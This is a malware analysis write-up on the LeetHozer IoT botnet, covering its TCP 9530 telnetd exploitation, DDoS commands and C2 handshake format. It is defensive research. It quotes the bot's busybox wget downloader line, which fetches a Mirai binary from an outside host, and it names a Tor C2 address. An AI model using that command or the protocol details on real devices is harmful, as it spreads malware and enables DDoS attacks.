The LeetHozer botnet

The LeetHozer botnet

Background

On March 26, 2020, we captured a suspicious sample11c1be44041a8e8ba05be9df336f9231. Although the samples have the word mirai in their names and most antivirus engines identified it as Mirai, its network traffic is totally new,which had got our attention.

The sample borrowed some of Mirai’s Reporter and Loader mechanism, but the encryption method and Bot program, as well as C2 communication protocol had been totally redesigned.

For regular Mirai and their variations, normally the changes are fairly minor, changing C2s or encryption keys, or integrate some new vulnerabilities, nothing dramatic.

But this one is different. Its encryption method is unique, and communication protocol is more rigorous. Also it is very likely a new branch from the Moobot group and is in active development. (the author released a third version while we work on this article, adding some new function and changing Tor C2 :vbrxmrhrjnnouvjf.onion:31337)

So we think we should blog it and decide to name it LeetHozer because of theH0z3r string(/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;)

Propagation

2020-02-11 We saw a moobot variant we called moobot_xor exploiting this vulnerability.

2020-03-26 LeetHozer began to exploit the vulnerability.

LeetHozer takes advantage of the vulnerability through the target device’s TCP 9530 port to start the telnetd service, then login to the device with the default password to complete the infection process. The propagation process is shown in the figure:

The source IP currently exploiting the vulnerability is around 4.5k per day.

LeetHozer and moobot_xor used the same unique string /bin/busybox DNXXXFF in their 9530 exploit. We also observed that at times they used the exact same downloader, so we speculate that moobot_xor and LeetHozer probably belong to the same organization or individual.

The time periods and the downloader shared by the two families are as follows:

Reverse analysis

At present, there are three versions of LeetHozer samples (We are going to focus on V2 as V3 is in development now). The difference between V1 and V2 is mainly that V2 supports more DDos attack methods. We are going to take a quick look at the sample’s behavior, DDos command format, network communication below.

Sample behavior

The function of LeetHozer is relatively simple, when it runs on infected device, it operates the watchdog device,then write the pid to a file named .1, and prints out /bin/sh:./a.out:not found string to the console( to confuse the user?). After that, it starts to scan internet to find more devices with open port 9530, and try to use the vulnerability to open the telnetd service on more victim devices.

The sample also reports the infected device information to the reporter, and establishes communication with C2, waiting for instructions to launch DDos attack.

The sample uses a custom algorithm for encryptiton. The decryption algorithm is as follows:

Receive the C2 command and prepare for DDos attack. The attack commands supported by different versions are different.

version

command

V1

tcpraw

v2

tcpraw;icmpecho;udpplain

However, the data format of the attack command is the same, and its structure is Header(6 bytes),Option1,Option2...，in which the structure of Option isType(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding, the following takes an actual attack command as an example to explain the parsing process.

The first 32 bytes of the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check the two valid flags. When the check passes, part of the data will be used for the second round of interaction.

offset

length

content

field meaning

0x04

4 bytes

0x000070f1

valid flag1

0x08

4 bytes

0x00004819

valid flag2

Second round of interaction

The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way. Most of the data comes from the C2 return packets from the previous step.

offset

length

content

field meaning

0x00

8 bytes

0x7a697a69,0x000070f1

C2 reply in the round 1

0x08

4 bytes

0x000070f2

hardcode

0x0e

2 bytes

0x0002

second round

0x14

4 bytes

0x00d665

checksum

The 32 bytes before the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check two valid flags. When the check passes, the Bot’s online process is completed.

offset

length

content

field meaning

0x04

4 bytes

0x00002775

valid flag1

0x08

4 bytes

0x000070f2

valid flag2

At this point, the identity verification between the Bot and C2 is completed, and the Bot starts to wait for the C2 to issue instructions. The first byte of the C2 reply packet specifies the type of instruction.

Instruction code: 0x00 indicates heartbeat

Instruction code: 0x01 indicates reporting Bot group information

Instruction code: Not 0x000x01 indicates DDoS attack.

Contact us

Readers are always welcomed to reach us on twitter or email to netlab at 360 dot cn.